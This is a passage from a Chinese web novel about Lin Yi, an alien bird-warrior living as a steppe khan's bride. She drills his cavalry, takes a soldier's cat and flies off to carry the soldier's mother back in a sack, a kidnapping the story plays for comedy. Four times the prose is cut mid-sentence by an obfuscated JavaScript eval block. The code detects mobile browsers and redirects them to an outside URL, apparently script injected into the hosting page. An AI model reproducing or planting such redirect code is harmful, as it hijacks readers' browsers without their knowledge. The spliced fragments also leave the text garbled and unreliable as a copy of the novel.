这话稍微有些长,林一消化了一会儿,才沉着地点了点头,“俺知道嘞,只要她自己愿意,你白掺和。” 庞十一娘又羞又怯,低声说:“其实……也有人约我,不过是克烈部的人,我还是有些怕。” 嘴上说着怕,声音里已经微带甜味。 林一拍了拍庞十一娘的肩膀,“行嘞,开始教课吧,天晚了俺跟你去瞅瞅,甭怕。” 来到这里有十几天了,林一也大概清楚这里的远古人类并没有很明显的雌雄强弱,反而一些身体比较瘦弱的女人是打不过男人的,虽然很费解她们为啥不多吃一些练练体力,但她现在每天晚上和尤物一个被窝睡觉,日子过得很快乐,每天都在原谅所有人。 庞十一娘很快反应过来,等今天的课程教完,她忽然小声对林一道:“殿下,我、我想让您给我取个名字,昨天人家问我的名字,我答不上来。” 她当然不叫庞十一,庞家没有被流放成为罪族之前,是洛下世家,对族中贵女有严格的规训,自七岁束腰,八岁读书启蒙,通常养到十五岁及笄取名,出嫁后由夫家取小字。庞家出事前她和六姐都没有及笄,也就没有名字,一直是以族中的排序称呼。 取名这事通常是尊者下赐,庞十一娘现在能找到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125335|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最尊者,也就是林一了。 林一学着苏赫阿那平时皱眉的样子给自己揉了揉眉心,看了一眼先前默写的女诫卑弱第一篇,试探性地道:“庞砖儿?” 这一声抑扬顿挫,是标准的齐鲁方言味儿。庞十一娘愣住,又听林一犹豫道:“庞瓦?要不庞卑弱?庞第一?恁喜欢啥可以挑一个嘛。” 小姑娘差点哭出声来,连忙摆摆手,示意自己觉得十一娘这个名字很好,她可以回去自己想想怎么取名字的。 林一并不勉强,等庞十一娘告辞离去,外头正是中午,她溜达着出门,沿路偶有巡兵,都尊称她一声可敦,这词的意思是苏赫铎教给她的,“女主人”之意。 尤物是这里的主人,她和尤物在一起之后,就成了这里的女主人。 林一非常适应,沉着地抬手挥了挥,算作回应。一路上并无随从侍女跟随,刚来苏赫部没两天的时候,霓裳羽衣想要跟随她的时候,林一就把她们撵走了,人好好走在路上,为什么要一串两串跟着她? 今天的巡逻骑兵较少,苏赫部的常备骑兵一万五,每隔八日操练一回,通常由大王子苏赫铎带队。从拉练到骑射再到比武,很多少女挤着看,这些骑兵通常也会参与夏秋集会的比试,且往往名列前茅,尤其是可汗亲卫或者王子亲卫,这些人只要下场就能赢得很漂亮。 林一对男人练兵是非常向往的,但她没有去挤着看。 她有专门的座位! 苏赫铎练兵是没有专门圈地的,偌大的仆固平原即便被用作夏秋集会的场地,也有很大的空地足以排兵布阵。 林一的座位是一辆铁勒高车,她坐在里面宽敞的座位上,四面透风,底下有一圈站位,战时可以站四面持盾兵,坐在上面可以想看哪个方位看哪个方位。这种高车形制特殊,一般用作战车,属于指挥位,但练兵的时候是空置的,林一第一天看练兵的时候就摸上去坐着了。 今日战车高位上有人,林一老远就知道,她大步走到高车下方,就看到苏赫阿那一身黑衣立在上面,两侧有亲卫随从。林一立马就窜了上去,还没靠近就张开胳膊,想给她的男人一个大大的拥抱。 苏赫阿那抬手抵住林一的额头,示意她坐下,不要作怪。 林一习惯了尤物在人前的羞怯,嘎嘎笑了一声,一屁股坐了下来,四处张望,没看到苏赫铎,顿时发出疑问:“铎王子,嘎?” 没办法,每天叫苏赫铎这个称呼的人太多,即便他多次更正公主可以叫他的单名,林一也还是只记住叫这个。 苏赫阿那知道林一是在询问苏赫铎去哪里了,微微摇头,“他今日去铁勒部验收生铁,在指挥训练的是我的二子忽律,公主能看出区别吗?” 林一扫了一圈,用脑袋蹭了蹭苏赫阿那的腰,嘎嘎直笑,“他不会,不会带!” 苏赫阿那只是叹气。 15.第 15 章 三十年前,苏赫阿那以平民之身率奴造反,推翻了当时被称为“胡狼”的一个中等部落,当时占据仆固平原以及周遭矿山盐湖的是塔塔尔部左贤王阿勒坦赤那。 胡狼部落是左贤王的附属部族,常年为其挖矿,左贤王部人口六万,青壮骑兵八千余,苏赫阿那起家时,仅有三百可战的勇士。他拒绝和谈,不想让部落再次沦为大部落的矿奴,也因此被左贤王阿勒坦赤那列入清缴名列。 苏赫阿那见好便收,在数次打退左贤王精锐骑兵后接受了克烈部的“调解”安排,迎娶克烈部阔真公主,换得一块夹在左贤王和克烈部之间的缓冲地栖息。数年后,苏赫阿那与被奴役多年的铁勒族联盟,第一次大胜左贤王部,歼灭骑兵两千余。 此后接连结盟多个中小部落,两年内摧枯拉朽吞并左贤王部,于仆固平原击退塔塔尔主部来援,打退意图渔翁得利的克烈部三次。各方利益纠缠结盟背叛,血雨腥风之中,苏赫阿那开启了他的传说时代。 长子苏赫铎是苏赫阿那少年时继承了一位同族遗孀所生,苏赫铎出生不久丧母,他的童年便是跟随着父亲颠沛流离,也因此很会带兵。只是苏赫铎天赋有限,很难理解稍微有些绕的心计谋略,苏赫阿那很耐心教导,把一件件事掰开揉碎了和他讲,但下次遇到其他的事,他仍旧不懂。 次子忽律和三子乌苏都是克烈部阔真公主所生,同母之子却是正好相反,苏赫忽律好用谋略,精于算计,苏赫乌苏天真烂漫,向往儒学。可好用谋略的并无多少真本事,向往儒学的学不到内里精髓。 总而言之,生子不肖。苏赫阿那活着的时候,苏赫部可以占据最丰美的草场,最大的矿山,最好的盐湖,但当他百年之后,这块上好的地盘却会成为各方饿狼垂涎的珍馐。前有克烈部,后有塔塔尔部,苏赫部落无论交到哪个儿子手里,他都能想象到悲惨的景象。 苏赫阿那总是爱叹气,他年轻时心高气傲,再困难的绝境都不曾外露情绪,但他这几年经常叹气,尤其是对着三个各有各愚蠢的儿子。 简单的拉练和排兵之后,苏赫忽律脸上还带着兴奋的潮红,却摆出一副波澜不惊的平静面容,策马来到战车下,三个王子之中,他的长相最俊美,最像苏赫阿那,一眼看着就是亲生,实在令人绝望。 苏赫阿那深吸一口气,正要长叹出声,就被身边林一按坐了下去,原本是林一坐着他站着,这下林一站了起来。 苏赫忽律略有些紧张地向林一行了个简单礼节,左手握拳抵住胸口,头微微低下,“阿父,阿母。” 林一有些爱怜地看着这个小笨蛋,鸭子嗓夹得非常温柔,“木有关系,你已经做得很好了,带成这样已经可以了。” 苏赫忽律的脸色顿时阴沉了一霎,又很快恢复先前的沉静,视线投向苏赫阿那,很失望地发现阿父的目光没有落在他身上,更没有任何要夸奖他的意思。 又是这样!他有哪里做得不好吗? 苏赫阿那看着七零八落的骑兵,其中最前方的二百骑兵是他的黑帐近卫,看起来军容尚且整肃,只是人人喘息不止,不由又叹一口气。 亲自下场示范如何带兵吗?对长子或许有效,但对苏赫忽律,他只会觉得是在羞辱他,而不会真正学到些什么,这也是很令苏赫阿那头疼的一点。 二子的心性有些偏执,他其实不愿意把原因归结在第二任妻子身上,但不得不说,苏赫忽律的性格和那位阔真公主实在是一模一样。 但苏赫阿那尚在犹豫,林一已经从战车上一跃而下,放在前些天苏赫阿那或许还会惊到,但每天固定被送一次猎物,反复十几天后,他也习惯了。 “来来来,俺给你示范示范,俺已经看会了,你坐恁爹边上去看。”林一很热情地拉着苏赫忽律的胳膊,把他往战车方向推了推,然后骑走了他的马。 苏赫忽律脸色青一阵白一阵,站在战车底下,苏赫阿那看着林一策马向骑兵那里走去,第一次没有叹气,只是对二儿子说道:“上来吧。” 二王子的马是很好的走马,这是一种专门训练出来的马,马步平稳但快,是配合骑射用的,林一第一次骑走马,但没两步就适应了。 苏赫部的骑兵编制很简单,没有魏卒层层的中下级军官脉络,是由两名万骑长下辖十五名千骑长,每个千骑长底下两到三名百骑长,就像两个万骑长带一万五千的骑兵,也并不是每个百骑长统率一百人这样严格,反倒是谁比较得人心,就能让更多的人进他的帐下为兵。 两名万骑长林一是认识的,大婚第二日苏赫阿那就让他们来给林一行过礼,两人一个黝黑一个麦色肌肤很好辨认,黝黑的那个万骑长叫克托,麦色的那个叫叶利诃,都是三四十岁的年纪。他们底下的千骑长则明显要年轻一些,最年轻的千骑长看着还是少年将将往青年转变的模样,一双雄心勃勃的眼睛像极了苍鹰。 林一把众人拉到一起,挨个敲了敲肩膀,满意地发现都很结实,是很好的部落守卫者。有人被她敲了一下面露不满,有的稍微躲避,但大多数都维持了一种对“可敦”的尊敬。 有人想要开口,林一抢先说:“我刚来这个部落,对这里不够了解,刚才的水平不是你们平时训练的水平吧?你们把可汗看得直叹气。” 她这话是纯雪域语,是和苏赫阿那学的,尤物教学是非常有效的,他说一个词林一记一个词,半个音节都不会忘,比学魏语要流畅多了。 两个万骑长对视一眼,都有些无奈,千骑长们个个不服,最年轻的那个忍不住道:“还不是二王子……” 立马有人撞了一下他的后腰,止住了他的话。 林一嘎嘎直笑,“听听我的,再来一遍,别嫌累,今天好多人在看着,我们给二王子示范示范,好不?” 她这话是商量的语气,但远处战车上苏赫阿那一身黑衣立在那里没有要走的意思,很显然不是商量的意思,自然也没人有异议。只是万骑长叶利诃声音略微压低,问道:“可敦会带兵吗?要不然我和克托来,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15130925|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敦可以跟着我们。” “我会嘞!”林一很沉着地摆摆手,“你们都听我的,今天不光拉练,还要排一排阵法。” 骑长们有些不服不信,又有些将信将疑,毕竟……这位公主可是魏朝一代名帅叶朔的外孙女啊!苏赫部不曾和叶朔打过,但克烈部那边被揍得老惨了! 有一年拔都可汗亲征,都差点送在瓜城,于是打从十几年前克烈部就开始望叶家军旗而逃,也不再长期逗留魏城就食,而是南下抢一票就跑。五年前叶朔老病而终,克烈部才又抖起雄风,连魏朝下嫁的公主都敢折磨死。 有这样的外公,想来这位玲珑公主也是会带兵的吧? 林一屁都不会。 霓裳羽衣两个拿女诫当课本教她认字,庞家姐妹能教的也只是一点贵女文学,每天和尤物躺在一起,能学几个词汇已经非常为难鸟,还学兵法?林一压根不知道带兵还有教科书。 源生战士只是战士,真打起来也是听令行事,林一只有带过百人小队的经验,也就是飞舟上去创几下,创到飞舟烂了就下去跟虫族翅膀对翅膀地干,但是!没有带兵的经验,还没有被带的经验吗?百鸟帝国的军事主脑可以微操战场到每一只鸟! 俺寻思这可以! 林一的视野非常野,五感都是经过基因调整的,带着一万五千的骑兵能随时观察到整个队伍的动向,辅以旗语调整——好吧,用不着,她的鸭子嗓平时总是压得低沉,一旦到了人多的地方嘎嘎大叫起来是响如炸雷的。起初还有些磕磕绊绊,但没多久就把这支无论怎么说也算是大规模的军队带得如臂使指。 从最简单的竖列行军到头尾互换,再到合拢成圈,方阵改菱阵,菱阵变圆阵,林一四处呼喝到处溜达,把机敏的换到衔接点,蠢笨的调至尾部,一点点调整行军步伐到几乎一致。 外行看热闹,只觉得整齐,但实际上内行才看得出门道,骑兵这种东西不是步兵军阵,是要考虑到马和马之间的步速的,所以骑兵往往会间隔一段距离。一旦带兵之人本事不足经验较少,就会把队列带得乱七八糟,后军跟不上前军,给敌军可以穿插的缝隙。 苏赫忽律不属于外行,但也不怎么内行,他忍不住说道:“不过是带兵行路罢了,这样的阵型我也学过,更复杂的军阵也不在话下!” 苏赫阿那原本是在战车边缘扶着木栏仔细观阵的,闻言回头看了儿子一眼,伸手捏了捏眉心。 年轻时他是何等意气,认为马蹄所踏之处都可收取,实在不曾想过纸上谈兵这样的笑话,以后会由亲儿子讲给他听。 他叹气真的已经叹到很累了。 就在这时,林一忽然从马上立起身,一把挥舞起金斧大旗,对着苏赫阿那高呼一声,一手挥旗,一手摇摆。 军阵此时变换成一个奇异的形态,仿佛是天鹅合拢的双翅,又似乎是个特殊符号,林一她一人一马站在当中挥旗又挥手。苏赫阿那远远地看不清她的面容,只能依稀分辨出那一个很放肆野蛮的笑容。 16.第 16 章 骑兵阵列排布出来的是个爱心阵,在鸟人族文化里属于羽翼庇护一类的符号,林一费劲心思排了半天军阵,就是为了这碟醋包的饺子。 对自己的男人做出什么样的承诺,并不需要他心里明白,林一很快收拢阵型,将一万五千的骑兵收拢成三个规整的方阵,就从方阵中间隔出的道路里一路嘎嘎大笑,策马如归。 围观带兵的人不少,尤其是一处高坡上人最多,韩小六来得早,占的地盘好。他躺在草坡上嘴里叼着一根草,有一搭没一搭地撸着腿弯里的灰不溜秋的脏猫,“呸呸”两声把嚼烂的草根吐出来,又换了根新鲜的叼着,脏猫仰着头任他呼噜着头毛。 “恁看出啥了?还呸上了?” 一声清越男声自韩小六身后传来,在这来来往往都是叽里咕噜雪域语的地方,能听见魏语,饶是韩小六闷闷不乐好些天了,也忍不住回头去看,然后立马被震慑住了。 坐在轮椅上的青年一身月白深衣,汉冠发式,高大身体略微后仰靠在椅背,显得稍微懒散,但你真正和他面对面时,一眼看过去绝对无法注意这些小细节,而是完完全全被那张皎如明月的脸所吸引。 来人五官俊美至极,没有半分瑕疵,眉头微微扬起,眼眸如蕴着一对北极星。韩小六这辈子见过的贵人不多,天天被他艹全家的江骋算是其中最出彩的了,但是江骋要是站在这男子身侧,也就是一个“那男的”罢了。 韩小六本能感到一点酸妒,但还是立马站起身,点头哈腰起来,“您就是王先生吧?小人听说过您,听说您是三王子帐下最受器重的谋士……嘿嘿,小人刚才没呸,只是把草呸出来。” 他还把嘴里叼的草给拿出来了,嬉皮笑脸的。 王澈有些嫌弃地往后推了一下轮椅,啧了一声,“白跟俺来这一套,说说看,恁看出了个啥?是觉得可敦带兵不利索?” 韩小六把头摇成拨浪鼓,他一点没觉得林一带兵不好,想了想,只是蔫头耷脑地老实说:“我就是觉得朝廷那些个兵将一个个吹得威风,带兵还不如被送来和亲的公主,真该把他们送来给人睡,换公主回去。” “恁也吹得牛,你见过几个兵将?”王澈示意后头的侍从把他往前推一推,来到草坡最高处,周围有好些雪域姑娘红着脸,三五成群对他指指点点。 这种男人的殊荣,王澈全然不挂在心上,俊美无暇的脸庞上没有太多表情,星眸微眯起,看着底下一人一骑如鱼得水,穿行在万人骑兵之中。 韩小六抱着脏猫凑近了些,但很小心地没有碰到王澈的轮椅,嘿嘿笑,“小的十三从军,混了五六年,最初是闫平总兵帐下,然后转到洛都,孙顺将军带了两年,后来入了洛阳禁军,就到了江骋校尉帐下……” 王澈不稀罕知道一个小兵的经历,魏朝边关十年以上的老兵都能说一声叶朔旧部,但实际上叶老元帅认得几个呢? 只是在这雪域部落里,能聊魏朝的人不多,他也就多了几分耐心,“江骋俺知道,江氏双虎是他爹和他叔,原本那也是个将门虎子嘞,好像不大受重用。” 韩小六听得就有些腻歪了,不过不敢和王澈岔开话题,谈了几句江骋平素带兵的事,把手底下的猫头都快搓出火星子了。 王澈瞅了一眼猫,“雪域可没有这玩意儿,恁还捎了只猫娃啊从魏朝?” 齐鲁人的倒装句有点难懂,但韩小六军中混迹久了,挺通方言的,只是老实地摇摇头,“捡来的,刚捡的时候雪白,这些天泥坑打滚,草地蹭毛,总出去疯跑才脏成这样的,王先生要是喜欢,给您洗洗,您拿去养?” 王澈假装没听见,双手揣袖,他能养活自己就很了不起了,还养活个猫娃? 两个魏人之间比较和煦的攀谈气氛因为一只猫而破裂,王澈看到底下开始收兵就离开了,韩小六继续窝在草坡上。没多久,先前那两个和他一起被江骋扔下的倒霉蛋哥俩也来了,还很热情地招呼:“小六,今天天气好,晚上集会人多,大壮昨晚认识个苏赫部的女孩儿,愿意介绍她几个朋友和咱们认识,你也一起来吧?” 韩小六呆住了,看着这哥俩,两人一个叫许大壮,一个叫孙毛,都是同批的洛阳禁军,比他大个几岁。因为使团急着走,他们拉稀跑肚痛得起不来身就被扔下了,三人前几天还一起躺帐子里骂江骋,昨天就去认识姑娘了?这咋做到的?这么能适应环境? 孙毛还劝呢,“我可听说了,这儿平时没这么多姑娘的,牧民一年就这一个月能聚一聚,咱们眼见是回不去了,不如趁早找个姑娘成婚,生几个娃好过日子。” 韩小六躺了回去,用猫遮脸,摆摆手,“壮哥毛哥你们自己去吧,我,我还小呢。” 两人对视一眼,没勉强,等两人走后,灰扑扑的脏猫扒拉了一下韩小六,爪垫摸到一点湿润的水渍。 天色将晚,林一依依不舍离开她的尤物,跟着庞十一娘来到夏秋集会的场地。其实也没啥固定场地,只是有些敲了木桩拉了绳索圈出空地来给雪域勇士们摔角比武,或者是姑娘家赛歌赛舞,前者圈的地大一些,围观的人多,后者比较零散,多是十几个人一聚,是互相介绍来的熟人。 一开始还有些依依不舍,但等到了地方,林一的眼珠子就在四处乱转了。 嗨呀!原来摔角是不穿上衣的啊,两个壮实男子抱在一起使劲摔来摔去,周围一群女人围着看,这和露天那个啥有什么区别! 林一批判性地盯着看了一路,专门挑身材好脸好的摔角比赛看。 庞十一娘比她羞怯得多,她从指缝里偷偷看,两人看了一会儿好风景,忽然有个虎背熊腰的勇士走上来,庞十一娘压低声音对林一道:“这就是我说的那个……克烈部的。” 林一点点头,然后勇士露出个笑容来,似乎是认得林一,他先左手握拳抵住胸口行了个礼节,然后看向庞十一娘,伸手指了指不远处五个青年,叽叽咕咕说了几句雪域语。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133754|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞十一娘听不懂,这勇士英武面容上泛起一层薄薄红晕,用磕磕绊绊的魏语又说:“我、我们,很想,娶你回家。只是怕你,不愿意。” 小姑娘的脸一下子就红透了,压根没注意到人家说的是“我们”,只模模糊糊以为他魏语说得差。 林一有些惊叹地看了一眼对面五个相貌相近的高大英武雪域青年,看着庞十一娘问都没问就跟着那勇士朝那边去了,她吞了口口水,心生感叹,雪域部落真是个好文明! 送走庞十一娘,林一在集会上来回溜达,她现在每天吃得比较饱,而且属于那星网虚拟毒鸟食里写的什么“刚出新手村遇到顶级魅魔”。能天天抱着绝代尤物嘬,其实不大看得上普通男人了,所以她纯粹就是看。啧,这个腰太粗实,那个黑得像炭,嗨呀,这个长得不好看,可惜了漂亮的身板。 放在一个月前,她还在追击虫族呢,天天跟着飞舟屁股后头吃陨石灰,哪里能想过能这样悠闲地散着步,点评着一堆风情各异的男人呢? 林一美滋滋地穿行在人群里,忽然看到一个眼熟的身影,几步撵上去,按住韩小六的肩膀,有些惊喜地说:“嗨呀!恁没走啊?俺以为好些人都走掉了!” 韩小六不知道从哪弄了根细细的草绳,拴在脏猫脖子上,然后出来溜猫。他不是打算在集会上找个媳妇过日子,而是外头热热闹闹,他一个人在帐子里难过,结果出来没几步就遇到了林一。 被扔在雪域部落里这些天,韩小六脑子里乱哄哄,也不是没想过来找林一,可他和公主殿下有多大关系呢?不过是那一夜说了几句话罢了。 林一却热情地按住了韩小六,“恁咋没走啊?这猫儿……” 她伸手抄起那只脏猫仔细辨认,脏猫的眼睛是蓝色的,脖子上挂着块丑丑的木牌子,她一拍脑袋立马想起来了,这是那个好心幼崽养的贵重宠物啊!咋,这就送人了? 韩小六看着久别重逢的公主抱着猫,还很温柔地关切他,鼻子立马一酸,张口就哽咽了,“殿下,我,我想我娘了……” 他抽抽噎噎,说起自己的事。 林一起初吓了一大跳,听了好半晌才慢慢反应过来,哦,是被原来的群聚部落给抛弃了,她仔细听了许久,又问了几遍,拍了拍韩小六的肩膀,“木事木事,恁回去睡,明天就好嘞。” 韩小六哭得不行,被林一好言好语劝进了帐子,入睡前还迷迷糊糊地想,公主除了说话像公鸭子这一点,实在是完美的女孩儿,温柔善良得要命。 林一顺走了韩小六的脏猫,牵着猫往回走,平时嚣张的步伐都小了很多,显得有些鬼鬼祟祟的。她不是偷猫啊,只是代为照顾照顾,尤物一定还没见过猫吧?她准备把猫给尤物玩一晚上,天亮了再给送回去、不不不,一晚上可能不太够,她听说男性都可喜欢猫了,做梦都想养一只的那种。 ……好吧,说实话,她就是想偷猫,做为回报,她可以送韩小六一个娘。 17.第 17 章 这几天雪域的气候很好,不冷也不热,林一把猫身上的泥灰拍了拍,揣在兜里往回走。路上有认识她的,也有不认识的,总有人对她握拳抵住心口行礼,也有一些装作没看见甚至躲着走的。 魏朝和亲政策由来已久,百十年前可能还有些好名声,但随着魏朝开始走下坡路,和亲的手段也跟着变化。从魏朝新建时的携带大量资源和亲的安抚,到鼎盛时期以天子女婿身份分化雪域部落权柄,再到如今送女和议,一代代的公主到来都带着不同的使命,她们终其一生都是魏朝公主,而非雪域的可敦。 魏朝下嫁的公主最出名的要数当初魏朝鼎盛时期的靖容公主,那时雪域格局可不是现在的塔塔尔、苏赫和克烈三大部落与十数个中型部落和一些零散游牧部族,而是非常完整的雪域“三王制”,即大单于、左贤王,右贤王。各个部族名义上都归属于大单于,每年冬月还有类似朝贡一样的献牲节礼。 塔塔尔便是当时的大单于家族,魏朝以靖容公主下嫁左贤王,即大单于之子。公主以美色和智慧诱大单于犯下“尊者不可下淫”的忌讳,又挑唆暗示右贤王趁机反叛,最终造成王庭之乱,三王同死。因那时魏朝势大,边关猛将如云,王庭诸多贵族也臣服于公主,接受魏朝安排。 那一年公主扶子上位,统治雪域九年,那段期间被称为雪域最黑暗的岁月。大量魏人世家子弟进入雪域为官,成立魏制王庭,以魏法治理雪域,驱赶牧民去气候温暖的地方开荒耕种,同时收编青壮充徭役,大兴土木建造公主城。 雪域本就不是宜居之地,民众生活依靠长期放牧游猎维持,大量青壮却被拉走成为劳工,为公主修建城池,徭役苦累,死伤甚多。即便有魏朝的威名恫吓,也有许多牧民反叛逃离,最终因为连续荒年积累大量矛盾,雪域人联合起来推翻了魏朝统治,杀穿王庭,砍了靖容公主的脑袋,挂上了公主城头。 现在雪域的格局是短短二百多年间形成的,由当初的塔塔尔部小王子收拢父兄残部重新建立的塔塔尔部,占据原王庭和公主城一带,也就是“圣湖”周遭。由各大贵族建立的部落占据中部水草丰美的地带,当初反叛的胜利者中最强的一支“克烈部”占据雪域东部以及拔都可汗中青年时代打下来的魏朝的东北部。 贵族所建立的部落后来又被塔塔尔部重振旗鼓打了回去,并重设左贤王一部,奴役一些中小部族为其挖矿干苦力,后来才有了苏赫阿那崛起。 魏人视雪域人为刽子手,雪域人视魏人为剥皮吞骨的怪物,总之,对于魏朝公主这个身份,雪域人抱有天然的警惕心。 这跟林一没有屁关系,她只是个鸟人。 说起来苏赫铎会为林一解释可敦的含义,霓裳羽衣却不会和林一解释公主的意思,导致林一现在还以为这是丫头,妮儿一样的昵称。她一直觉得是尤物对她一见钟情,所以才跟她好的,毕竟照个镜子看看自己,强壮有力又可靠,多诱人的一只鸟! 她抱着偷来的猫鬼鬼祟祟进了黑帐里,苏赫阿那正在和二子忽律交谈。林一也不避讳,把头伸进去一点示意自己来了,然后就走上可汗大座,一屁股坐在苏赫阿那身边,按着怀里的猫瞅苏赫忽律。 这个漂亮小笨蛋什么时候走啊?惊喜这种东西应该是两人独处的时候给,不然等会儿尤物要亲她的嘴怎么办? 苏赫阿那有些无奈地看了一眼林一,对二子说道:“你先回去吧,早些睡,不要总是想那么多,明早再来一趟。” 苏赫忽律握拳抵住心口,动作较为敷衍地行完礼节,低头出去了。 林一这才把脏兮兮的灰猫从怀里掏出来,放在苏赫阿那腿上,一脸期待地看着他,“喜欢吗?我们养它好不好?这个东西叫猫,它叫起来是很细很软的……” 苏赫阿那看了看只是踩了一脚就把自己的黑衣踩出两个灰尘爪印的猫,又看了看满是喜悦的林一,忍不住笑了一声。 “好,喜欢就养着吧,下次这种小事不必过问我,你自己就能做主。” 苏赫阿那静静地凝视着林一,声音低沉,语气却很柔和,“公主,你是这里的可敦,不必把自己当做客人,如果你愿意,你可以做更多的事情。” 他是带着一点试探,一点自己也不够明确的目的说这句话的,灰蓝眼睛紧紧盯着林一的表情。白天他亲眼见她用兵如水,策军如归,现在他不知自己是期待一个充满野心的回答,还是想要一个贤淑温顺的拒绝。 林一歪了下鸟头,忽然一拍大腿,“差点忘记了,给我弄一个大皮袋子,能装得下人的,结实一点的,放半袋牛肉干,新烤的不要太干的,然后弄点奶酪,再来点水……水就不要了。” 苏赫阿那没明白林一的意思,但还是叫来侍从照办,都是现成就有的东西,很快就收拾好一个大牛皮袋和林一要的东西。林一拖起大皮袋就往外走,临走拍了一下猫头,亲了一下苏赫阿那的脸,这次是用魏语说的:“俺出去一趟,两三天回来,你一个在家怕不怕?” 苏赫阿那还是没明白她的意思,虽然雪域部落没有魏人那种严苛的规矩,但年轻女人孤身离开部落也是不怎么常见的事,就算平时林一有清晨出去打猎的习惯,但不过一二时辰就会回来。 但是,苏赫阿那只是略迟疑了一下,就摇摇头,从腰间取下一把牛角柄的弯刀递给林一防身,“早去早回。” 林一嘎嘎直笑,背着皮袋子出门,刚走没多远又遇到了红着眼眶来找她的庞十一娘。 庞十一娘顿时扑进林一的怀里了,“公主,他们、他们……一家子堂兄弟六个人,六个人要娶我一个!” 宽阔的胸膛诡异地起伏了几下,小姑娘抬起头来,看到林一憋着什么的表情,抽噎又抱怨,“殿下一定是知道的,他说雪域话的时候那么一长串,肯定是早说了的,殿下不告诉我,想看我笑话……” 林一大惊,她看上去明明应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139080|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是很可靠很老实的一只鸟,怎么被拆穿得这么快? 揉了揉小姑娘的头发,林一问道:“那恁自个心里头咋想的,回去想想嘛,或者你要俩仨的,让他们自己争名额?” 庞十一娘呆住了,脸唰地红透了,很有偷感地看了看周围,小声说:“会不会叫人觉得不好?我、我是想着三个正正好,六个太多了……” 林一有事忙,没太多时间和她聊天,于是努嘴示意了一下不远处的庞六娘,“去跟你姐商量商量呗,这事又不急着一天俩天的,等我回来再细说也一样的,好迈?” 趁着小姑娘犹豫的工夫,林一大步大步往没人的地方去,很快静听四处无人,放下心来,她先放下皮袋,把衣裳解下来叠好塞进袋子里。一切准备做好,她从背后伸展羽翼,一个鸡头翻转而出,整个身躯扭曲变形,最后化成一只整体观感大了两三倍的巨大鸟身。 鸡头发出嘎嘎声响,爪子骨节非常灵巧,很快将皮袋子系在宽阔的鸟背上,翅膀拍打出大风声,原地助跑十几步,忽然乘风滑翔而起。 入夜三更,巨鸟飞入玉门关,停在太守府后院最高的亭子顶上吃了十斤牛肉干和两斤奶酪,再度乘风起飞,踩坏了程欣最喜欢的名花十几株。 天蒙蒙亮时,齐鲁之地,一位衣着华美的贵女敲响一处世家园林的门扉,问及去淮阴的路,老门房懵了半晌,对上贵女殷切的目光,一拍脑袋连比划带画图给指明了方向。 林一的飞行速度非常快,远强于所有自然鸟类,按理直线飞行只需要一天一夜来回,但她估计的是两三天回到雪域,就是因为这一路上需要问路。 不是所有人都知道去异地的路,问那些田间地头锄地的农人最多只能得到周边村庄的小路,林一是很聪明的鸟,问了五六次之后就知道找那些很漂亮的大宅子里的人问路了。 林一的态度是非常好的,所以基本上都能问到路,有零星几个做出奇怪行为的,都被一胳膊拍晕过去。总之,大方向不错的情况下,次日中午,她站在了淮阴城门口,再次厚着脸皮拉住过路行人询问韩小六之母韩黄彩的住处。 淮阴市井不算大,韩小六的家就在一处小巷子里,自从儿子从军离家,韩黄彩就把他住的屋子腾出来间隔出两个小房间,租给两个漂母换取一点微薄的钱财。 林一上门的时候,两个漂母早早就出门去做工了,韩黄彩就在屋里迷迷糊糊睡着。林一叼着牛肉干,不怎么礼貌地伸头进屋子瞅了瞅,确认了这中年妇人和韩小六长得一个模子刻出来的,顿时欢喜。 腾空了的大皮袋子鬼鬼祟祟罩住了熟睡的妇人。 林一再次变换鸟身,把皮袋子挂在胸口,挺起蓬松柔软的胸羽覆盖住,细心地给韩黄彩留了透气的空间,这次连起飞前的嘎嘎前摇都没有,非常平稳起步,沿着来时路低空飞掠折返。 这可不是偷人!是非常正当的行为,是以劳力换取贵重的猫。 18.第 18 章 